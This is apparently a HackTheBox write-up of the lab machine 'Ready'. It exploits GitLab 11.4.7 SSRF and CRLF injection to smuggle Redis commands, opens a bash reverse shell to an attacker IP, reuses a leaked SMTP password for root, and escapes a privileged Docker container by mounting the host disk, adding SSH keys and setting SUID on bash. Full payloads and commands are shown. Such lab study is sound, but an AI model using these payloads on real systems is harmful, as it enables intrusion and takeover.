HTB: Ready Writeup
Ready - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Ready |
| OS | Linux |
| Difficulty | Medium |
| Points | 30 |
| Release Date | 12 Dec 2020 |
| IP Address | 10.10.10.220 |
| Author | bertolis |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐☆☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐⭐☆☆
- CTF-like: ⭐⭐☆☆☆
Summary
Ready is a medium-difficulty Linux machine hosting a vulnerable GitLab Community Edition instance. The initial foothold is gained by exploiting a combination of SSRF (CVE-2018-19571) and CRLF injection (CVE-2018-19585) vulnerabilities in GitLab 11.4.7, allowing an attacker to chain Redis protocol smuggling with arbitrary Ruby code execution. This results in a reverse shell as the git user inside a Docker container. Lateral movement to root within the container is achieved by discovering a plaintext password in a backup configuration file. Finally, privilege escalation to the host root is accomplished by exploiting the container’s privileged mode to mount and access the host filesystem directly.
TL;DR: GitLab 11.4.7 SSRF+CRLF → Redis RCE → Docker container shell (git) → Credential reuse from backup config → Root in container → Privileged container escape → Host root access
Reconnaissance
Port Scanning
# Full TCP port scan with service detectionnmap -sC -sV -T4 -p- 10.10.10.220Results:
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)5080/tcp open http nginxThe scan reveals two open ports:
- SSH (22/tcp): OpenSSH 8.2p1 on Ubuntu
- HTTP (5080/tcp): nginx web server
Service Enumeration
GitLab Instance (Port 5080)
Navigating to http://10.10.10.220:5080/ reveals a GitLab Community Edition login page. The service took approximately 90 seconds to become available (transitioning from HTTP 502 errors).
Key observations:
- Self-registration is enabled
- Navigating to
/helpreveals GitLab version 11.4.7 - The version disclosure is critical for vulnerability research
# Register a new account through the web interface# Click "Register" and create credentialsVulnerability Assessment
GitLab version 11.4.7 is vulnerable to multiple critical issues:
- CVE-2018-19571: Server-Side Request Forgery (SSRF) via project import functionality
- CVE-2018-19585: CRLF injection in the same import feature
These vulnerabilities can be chained to:
- Bypass SSRF protections using IPv6 notation
- Inject Redis protocol commands via CRLF
- Achieve remote code execution through GitLab’s Resque job queue
Initial Foothold
Exploitation Path
The attack leverages GitLab’s “Import project by URL” feature to smuggle Redis commands through an SSRF vulnerability, ultimately queuing a malicious Resque job that executes arbitrary Ruby code.
Step 1: Understanding the Vulnerability Chain
GitLab 11.4.7’s import functionality:
- Accepts a Git repository URL
- Performs insufficient validation on the protocol and destination
- Allows CRLF injection in the URL field
- Can be coerced into connecting to internal services (Redis on port 6379)
The Redis ASCII protocol allows us to inject commands via HTTP-like syntax.
Step 2: Preparing the Payload
# Create a reverse shell payloadecho 'bash -i >& /dev/tcp/10.10.14.X/9001 0>&1' | base64# Result: YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC5YLzkwMDEgMD4mMQo=The payload is base64-encoded to avoid character encoding issues during HTTP transmission.
Step 3: Crafting the Redis Command Injection
The Redis commands exploit GitLab’s Resque job queue system:
multisadd resque:gitlab:queues system_hook_pushlpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open('| echo <BASE64_PAYLOAD> | base64 -d | bash').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"execWhy this works:
multistarts a Redis transactionsaddadds a new queue to GitLab’s queue listlpushenqueues a job containing our payload- The
GitlabShellWorkerclass acceptsclass_evalfor arbitrary Ruby execution execcommits the transaction
Step 4: Bypassing SSRF Protections
GitLab’s SSRF protection checks for 127.0.0.1 and localhost, but IPv6 notation bypasses this:
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/This resolves to the loopback address while evading the blocklist.
Step 5: Managing Session State
A critical challenge encountered was GitLab’s CSRF protection rejecting requests due to clock skew. The solution involved manually managing the _gitlab_session cookie:
# Parse Set-Cookie from registration/login# Resend the exact cookie value with subsequent requests# Avoid relying on automatic cookie handling which may discard expired cookiesStep 6: Obtaining Required Parameters
# Get namespace_id via APIcurl -H "PRIVATE-TOKEN: <your_token>" http://10.10.10.220:5080/api/v4/namespaces# Extract your user's namespace_id from the responseStep 7: Sending the Malicious Import Request
# Start listenernc -lvnp 9001HTTP POST Request Structure:
POST /projects HTTP/1.1Host: 10.10.10.220:5080Content-Type: application/x-www-form-urlencodedCookie: _gitlab_session=<session_value>
utf8=%E2%9C%93&authenticity_token=<token>&project%5Bimport_url%5D=git://[0:0:0:0:0:ffff:127.0.0.1]:6379/multisadd+resque:gitlab:queues+system_hook_pushlpush+resque:gitlab:queue:system_hook_push+%22%7B%5C%22class%5C%22:%5C%22GitlabShellWorker%5C%22,%5C%22args%5C%22:[%5C%22class_eval%5C%22,%5C%22open(%5C%27|+echo+<BASE64>|+base64+-d+|+bash%27).read%5C%22],%5C%22retry%5C%22:3,%5C%22queue%5C%22:%5C%22system_hook_push%5C%22,%5C%22jid%5C%22:%5C%22ad52abc5641173e217eb2e52%5C%22,%5C%22created_at%5C%22:1513714403.8122594,%5C%22enqueued_at%5C%22:1513714403.8129568%7D%22execexecexec&project%5Bci_cd_only%5D=false&project%5Bname%5D=pwned&project%5Bnamespace_id%5D=<YOUR_NAMESPACE>&project%5Bpath%5D=pwned&project%5Bvisibility_level%5D=0Key details:
- The import URL uses
git://protocol with IPv6 loopback and Redis port (6379) - CRLF injection (
%0D%0AURL-encoded as newlines) allows Redis command insertion - URL encoding is applied to special characters in the JSON payload
- If the request fails with 422, change
project[name]andproject[path]to unique values
Step 8: Catching the Shell
nc -lvnp 9001listening on [any] 9001 ...connect to [10.10.14.X] from (UNKNOWN) [10.10.10.220] 43752
# Stabilize the shellpython3 -c 'import pty; pty.spawn("/bin/bash")'# Press Ctrl+Zstty raw -echo; fgexport TERM=xtermResult: Shell access as git user inside the GitLab Docker container.
git@gitlab:~/gitlab-rails/working$ iduid=998(git) gid=998(git) groups=998(git)Step 9: Capturing User Flag
git@gitlab:~$ cat /home/dude/user.txt<redacted>Privilege Escalation
Lateral Movement: git → root (Container)
Step 1: Enumerating Backup Files
git@gitlab:~$ ls -la /opt/backup/total 112drwxr-xr-x 2 root root 4096 Apr 5 2022 .drwxr-xr-x 1 root root 4096 Dec 1 2020 ..-rw-r--r-- 1 root root 904 Apr 5 2022 docker-compose.yml-rw-r--r-- 1 root root 15150 Apr 5 2022 gitlab-secrets.json-rw-r--r-- 1 root root 81492 Apr 5 2022 gitlab.rbThe /opt/backup/ directory contains GitLab configuration backups with world-readable permissions — a critical misconfiguration.
Step 2: Extracting Credentials
git@gitlab:~$ grep -i password /opt/backup/gitlab.rb | grep -v '^#'gitlab_rails['smtp_password'] = "wW59U!ZKMbG9+*#h"Why this matters: GitLab configuration files often contain SMTP credentials, database passwords, and other secrets. The password wW59U!ZKMbG9+*#h is exposed in plaintext.
Step 3: Testing Credential Reuse
git@gitlab:~$ su rootPassword: wW59U!ZKMbG9+*#h
root@gitlab:/var/opt/gitlab# iduid=0(root) gid=0(root) groups=0(root)Success: The SMTP password is reused for the container’s root account.
Container Escape: Docker Privileged Mode Exploitation
Step 1: Confirming Container Environment
root@gitlab:~# cat /proc/1/cgroup | grep docker12:rdma:/11:devices:/docker/a4b61b1d50c277c638fdd83ff7609cc4029aeeef09d501f4f20e360bc859ccda10:memory:/docker/a4b61b1d50c277c638fdd83ff7609cc4029aeeef09d501f4f20e360bc859ccdaThe presence of /docker/ paths confirms we’re inside a container.
Step 2: Identifying Privileged Mode
root@gitlab:~# cat /opt/backup/docker-compose.yml | grep -A2 privileged privileged: true restart: unless-stoppedCritical finding: The container is running with privileged: true, which grants:
- Access to all host devices
- Capability to mount host filesystems
- Near-complete breakout potential
Step 3: Listing Block Devices
root@gitlab:~# lsblkNAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINTsda 8:0 0 10G 0 disk├─sda1 8:1 0 1M 0 part├─sda2 8:2 0 9.5G 0 part /var/log/gitlab└─sda3 8:3 0 512M 0 part [SWAP]Analysis:
sda2is a 9.5GB partition- It’s already mounted at
/var/log/gitlabinside the container - This is likely the host’s root filesystem
Step 4: Mounting the Host Filesystem
root@gitlab:~# mkdir /mnt/hostroot@gitlab:~# mount /dev/sda2 /mnt/hostroot@gitlab:~# ls -l /mnt/hosttotal 92lrwxrwxrwx 1 root root 7 Apr 23 2020 bin -> usr/bindrwxr-xr-x 3 root root 4096 Apr 5 2022 bootdrwxr-xr-x 5 root root 4096 Dec 4 2020 devdrwxr-xr-x 102 root root 4096 Apr 5 2022 etcdrwxr-xr-x 3 root root 4096 Jul 7 2020 homedrwx------ 10 root root 4096 Mar 4 12:50 root...Success: The host root filesystem is now accessible at /mnt/host.
Step 5: Extracting the Root Flag
root@gitlab:~# cat /mnt/host/root/root.txt<redacted>Alternative methods for full host access:
# Method 1: SSH key injectionroot@gitlab:~# ssh-keygen -t rsa -f /mnt/host/root/.ssh/id_rsa -N ""root@gitlab:~# cp /mnt/host/root/.ssh/id_rsa.pub /mnt/host/root/.ssh/authorized_keysroot@gitlab:~# cat /mnt/host/root/.ssh/id_rsa# Copy the private key and SSH from attacker machine
# Method 2: Chroot into hostroot@gitlab:~# chroot /mnt/host /bin/bash
# Method 3: Add SUID to host binariesroot@gitlab:~# chmod u+s /mnt/host/bin/bashAttack Chain Summary
Port Scan → GitLab 11.4.7 Discovery → Account Registration →SSRF via Import URL (IPv6 bypass) → CRLF Injection (Redis smuggling) →Resque Job Queue Poisoning → RCE as 'git' → Backup Config Enumeration →Password Reuse (root in container) → Privileged Container Detection →Host Disk Mount → Root Flag ExtractionTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
curl | HTTP requests and API interaction |
nc | Reverse shell listener |
base64 | Payload encoding |
ssh-keygen | SSH key generation for persistence |
mount | Mounting host filesystem from container |
lsblk | Identifying block devices |
Key Learnings
Techniques Practiced
- SSRF exploitation with protocol handler abuse (git://)
- IPv6 address notation to bypass SSRF filters
- CRLF injection to smuggle Redis protocol commands
- Redis job queue poisoning for code execution
- Session cookie management under clock skew conditions
- Privileged container escape via host filesystem mounting
- Credential reuse across service accounts
Lessons Learned
-
Defense in depth matters: GitLab’s SSRF protection only checked IPv4 loopback addresses, allowing IPv6 bypass. Modern SSRF filters must validate all address families and protocol handlers.
-
Backup files are high-value targets: The world-readable
/opt/backup/gitlab.rbexposed credentials. Backup directories should have strict permissions (700/root ownership) and secrets should never be stored in plaintext. -
Privileged containers break isolation: Running containers with
privileged: truegrants near-complete host access. This flag should only be used when absolutely necessary, with compensating controls like AppArmor/SELinux profiles. -
Input validation is critical: CRLF injection enabled Redis command smuggling. All user inputs that interact with protocol-specific features (HTTP, Redis, LDAP, etc.) must be strictly validated and encoded.
-
Version disclosure aids attackers: GitLab’s
/helppage revealed the exact version number, enabling targeted exploit research. Consider disabling version banners in production. -
Credential reuse amplifies impact: A single SMTP password led to root access in the container. Service accounts should use unique, randomly-generated credentials with minimum necessary privileges.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- HackTheBox Official Writeup: Ready (prepared by bertolis & felamos)
- CVE-2018-19571: GitLab Server-Side Request Forgery
- CVE-2018-19585: GitLab CRLF Injection in Project Imports
- GitLab Security Release: https://about.gitlab.com/releases/2018/11/28/security-release-gitlab-11-dot-5-dot-1-released/